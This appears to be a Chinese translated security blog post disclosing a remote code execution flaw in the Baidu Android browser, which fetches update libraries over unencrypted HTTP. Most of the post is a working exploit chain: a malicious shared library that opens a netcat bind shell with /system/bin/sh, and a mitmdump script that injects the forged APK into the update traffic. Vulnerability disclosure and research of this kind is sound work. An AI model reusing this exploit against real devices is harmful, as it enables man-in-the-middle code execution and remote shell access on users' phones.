几周前,我在百度安卓浏览器中,发现了一个远程代码执行漏洞。最初我想在今年的 Infiltrate 上讲这个课题,直到我看到下面XDA开发人员周末发布的 文章 。
上面的文章讨论了 Citizen Lab 发布的研究成果,下面讲一个我看到的有意思的东西。
“Windows和安卓版本的百度浏览器,都会使用代码签名机制来保护软件更新的安全。这意味着在其程序路径下的恶意文件可以下载并执行任意代码,系统将存在巨大的隐患。”
实际上,XDA和 Citizen Lab 的文章里已经讲过,安卓浏览器这种不安全的更新机制,应该强制使用HTTPS。然而,这并不能完全解决问题。
纸终究是包不住火,我想用户应该会了解浏览器的各种风险。研究结果表明,从Google play下载的最新版本也会受到影响,该浏览器现在大约有1000万-5000万的安装量。
作为我分析手段的一部分,我习惯性地在安装安卓浏览器(需要逆向)时,用mitmproxy代理截获流量。在分析百度安卓浏览器的安装流量时,我发现了以下的东西。
这个浏览器在通过HTTP下载apk文件:
GET http://s.mobile-global.baidu.com/mbrowser/guanxing/T5Update/res/54b2672d5353481ab5a762bdcd74977f.apk
如果我们打开了刚才的请求,我们可以看见一个JSON响应包,提供了apk下载的URL。
GET http://mobile-global.baidu.com/mbrowser/management/zeus_update.do?si=12.1.0.0&so=6.2.7.11&zi=-&zo=-&api=1&pt=ma&co=US&la=en&ch=gp&av=
6.3.0.1&sv=a_19≺=&n=
{
"d": {
"downUrl":"http://s.mobile-global.baidu.com/mbrowser/guanxing/T5Update/res/54b2672d5353481ab5a762bdcd74977f.apk",
"force": "0",
"freq": "365d",
"md5":"54b2672d5353481ab5a762bdcd74977f",
"remindCount": "1",
"size": "7636",
"zi": "12.1.0.0",
"zo": "6.2.7.11"
},
"n": "8913ced893e7656ab190490d9bf96e9f",
"s": 1
}
在安装操作完毕后,下面是用户看到的信息:
T5 Engine是啥东西?这其实不重要,似乎是为百度浏览器提速的东西吧。
我们可以用下面的命令,检查下T5Update APK(也就是上面那个”提速”的apk)里的内容:
wget http://s.mobile-global.baidu.com/mbrowser/guanxing/T5Update/res/54b2672d5353481ab5a762bdcd74977f.apk
--2016-02-27 12:56:15-- http://s.mobile-global.baidu.com/mbrowser/guanxing/T5Update/res/54b2672d5353481ab5a762bdcd74977f.apk
Resolving s.mobile-global.baidu.com...63.217.158.178
Connecting tos.mobile-global.baidu.com|63.217.158.178|:80... connected.
HTTP request sent, awaiting response... 200OK
Length: 7819869 (7.5M) [application/octet-stream]
Saving to:'54b2672d5353481ab5a762bdcd74977f.apk'
54b2672d5353481ab5a762bdcd74977f.apk 100%[==============================================================================>] 7.46M 2.10MB/s in 3.8s
2016-02-27 12:56:21 (1.95 MB/s) - '54b2672d5353481ab5a762bdcd74977f.apk'saved [7819869/7819869]
unzip -l54b2672d5353481ab5a762bdcd74977f.apk
Archive: 54b2672d5353481ab5a762bdcd74977f.apk
Length Date Time Name
-------- ---- ---- ----
21704 03-24-15 14:32 libbaidujni.so
99576 03-24-15 14:32 libdumper.so
66748 03-24-15 14:32 libZeusPlatformImpl23.so
66752 03-24-15 14:32 libZeusPlatformImpl40.so
66752 03-24-15 14:32 libZeusPlatformImpl41.so
66752 03-24-15 14:32 libZeusPlatformImpl42.so
66756 03-24-15 14:32 libZeusPlatformImpl43.so
66756 03-24-15 14:32 libZeusPlatformImpl443.so
66756 03-24-15 14:32 libZeusPlatformImpl44.so
66752 03-24-15 14:32 libZeusPlatform.so
14495444 03-24-15 14:32 libzeus.so
493810 03-24-15 14:33 com.baidu.zeus.jar
-------- -------
15644558 12 files
所以,百度浏览器通过HTTP,下载了一个共享库文件的zip包。
这里我们暂时不做出任何结论,首先我们需要弄清楚,这些东西解压和写入的位置。现在,让我们来看看百度浏览器的data目录。
root@hammerhead:/data/data/com.baidu.browser.inter/files# ls -la
drwx------ u0_a151 u0_a151 2016-02-27 11:57 AFRequestCache
-rw------- u0_a151 u0_a151 33 2016-02-27 11:57 AF_INSTALLATION
drwx------ u0_a151 u0_a151 2016-02-27 11:57 bbm
-rw------- u0_a151 u0_a151 10453 2016-02-27 11:57 config_gb.json
drwx------ u0_a151 u0_a151 2016-02-27 11:57 cyber
drwx------ u0_a151 u0_a151 2016-02-27 11:57 data
drwx------ u0_a151 u0_a151 2016-02-27 11:57 deeplink
drwx------ u0_a151 u0_a151 2016-02-27 11:57 float_window
drwx------ u0_a151 u0_a151 2016-02-27 12:44 home
drwx------ u0_a151 u0_a151 2016-02-27 11:57 images
-rwxr-xr-x u0_a151 u0_a151 13592 2016-02-27 11:57 libprocmox_v1_4.so
drwx------ u0_a151 u0_a151 2016-02-27 11:57 misc
drwx------ u0_a151 u0_a151 2016-02-27 11:57 plugin
drwx------ u0_a151 u0_a151 2016-02-27 11:57 pv
drwx------ u0_a151 u0_a151 2016-02-27 11:57 skin
drwx------ u0_a151 u0_a151 2016-02-27 11:57 splash
drwx------ u0_a151 u0_a151 2016-02-27 11:57 version
drwx--x--x u0_a151 u0_a151 2016-02-27 12:44 zeus
根据T5Update APK里共享库文件的命名习惯,zeus这个目录看起来可以探究一下:
root@hammerhead:/data/data/com.baidu.browser.inter/files/zeus/libs# ls -la
-rw-r--r-- u0_a151 u0_a151 1252704 2016-02-27 12:44 com.baidu.zeus.dex
-rw-r--r-- u0_a151 u0_a151 493810 2016-02-27 12:44 com.baidu.zeus.jar
-rw-r--r-- u0_a151 u0_a151 66752 2016-02-27 12:44 libZeusPlatform.so
-rw-r--r-- u0_a151 u0_a151 66748 2016-02-27 12:44 libZeusPlatformImpl23.so
-rw-r--r-- u0_a151 u0_a151 66752 2016-02-27 12:44 libZeusPlatformImpl40.so
-rw-r--r-- u0_a151 u0_a151 66752 2016-02-27 12:44 libZeusPlatformImpl41.so
-rw-r--r-- u0_a151 u0_a151 66752 2016-02-27 12:44 libZeusPlatformImpl42.so
-rw-r--r-- u0_a151 u0_a151 66756 2016-02-27 12:44 libZeusPlatformImpl43.so
-rw-r--r-- u0_a151 u0_a151 66756 2016-02-27 12:44 libZeusPlatformImpl44.so
-rw-r--r-- u0_a151 u0_a151 66756 2016-02-27 12:44 libZeusPlatformImpl443.so
-rw-r--r-- u0_a151 u0_a151 21704 2016-02-27 12:44 libbaidujni.so
-rw-r--r-- u0_a151 u0_a151 99576 2016-02-27 12:44 libdumper.so
-rw-r--r-- u0_a151 u0_a151 14495444 2016-02-27 12:44 libzeus.so
-rw-r--r-- u0_a151 u0_a151 17 2016-02-27 12:44 ver.dat
我们这里可以看到,这些东西被解压并写入了/files/zeus/lib/目录。那么,现在我们就可以使用exp了。
下面是我们利用的思路:
利用T5Update APK里的共享库文件创建一个zip包。
将zip包里其中一个共享库文件,换成可执行恶意命令的共享库文件。
中间人劫持浏览器的安装流量。
将我们的zip的下载链接,注入到T5Update APK的下载请求的响应包中。
让我们看看百度浏览器首次初始化时,加载的是哪个共享库:
D/dalvikvm(21640): Trying to load lib/data/data/com.baidu.browser.inter/files/zeus/libs//libzeus.so 0x42775e38D/dalvikvm(21640): Added shared lib/data/data/com.baidu.browser.inter/files/zeus/libs//libzeus.so 0x42775e38
很明显,libzeus.so是一个不错的选择。我们将替换它,用zip包实现任意代码执行:
#include <jni.h>
#include <stdio.h>
#include <stdlib.h>
int JNI_OnLoad( JavaVM* vm, void* reserved)
{
system( "/data/local/tmp/busybox nc -ll -p 6666 -e/system/bin/sh" );
return JNI_VERSION_1_6;
}
现在我们的共享库文件构造好了,接下来 恶意注入 一个正常的zip包:
unzip -l bad.apk
Archive: bad.apk
Length Date Time Name
-------- ---- ---- ----
493810 03-24-15 14:33 com.baidu.zeus.jar
21704 03-24-15 14:32 libbaidujni.so
99576 03-24-15 14:32 libdumper.so
9356 02-13-16 16:20 libzeus.so
66752 03-24-15 14:32 libZeusPlatform.so
66748 03-24-15 14:32 libZeusPlatformImpl23.so
66752 03-24-15 14:32 libZeusPlatformImpl40.so
66752 03-24-15 14:32 libZeusPlatformImpl41.so
66752 03-24-15 14:32 libZeusPlatformImpl42.so
66756 03-24-15 14:32 libZeusPlatformImpl43.so
66756 03-24-15 14:32 libZeusPlatformImpl44.so
66756 03-24-15 14:32 libZeusPlatformImpl443.so
记住libzeus.so是我们创建的共享库文件,这里我们使用 mitmdump 脚本,将我们的恶意apk链接 注入 到T5Update APK的下载响应包中:
import os
from libmproxyimport proxy, flow
from libmproxy.protocol import http
from libmproxy.models import HTTPResponse
from netlib.httpimport Headers
def start(context,argv):
context.log("[*] Starting APKInjection!")
def request(context, flow):
if not flow.request.host =="s.mobile-global.baidu.com":
return
context.log("[Baidu APK Injection]Target host : {0}".format(flow.request.host))
if flow.request.path.split(".")[-1] == "apk":
context.log("[Baidu APK Injection]Target injection point : {0}".format(flow.request.path))
response =HTTPResponse("HTTP/1.0", 200, "OK",Headers(Content_Type="application/octet-stream",), "PWNED")
# Inject our APK into the HTTP response
try:
with open("bad.apk","rb") as f:
modified = f.read()
response.content = modified
response.headers["Content-Length"] = str(len(modified))
f.close()
except IOError as e:
raise e
flow.reply(response)
最后,我们把它们结合起来, 视频 如下:
最后,笔者建议各位读者,在官方解决这些安全问题之前,谨慎使用这款浏览器。
*参考来源: lifeform-labs ,FB小编dawner编译,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)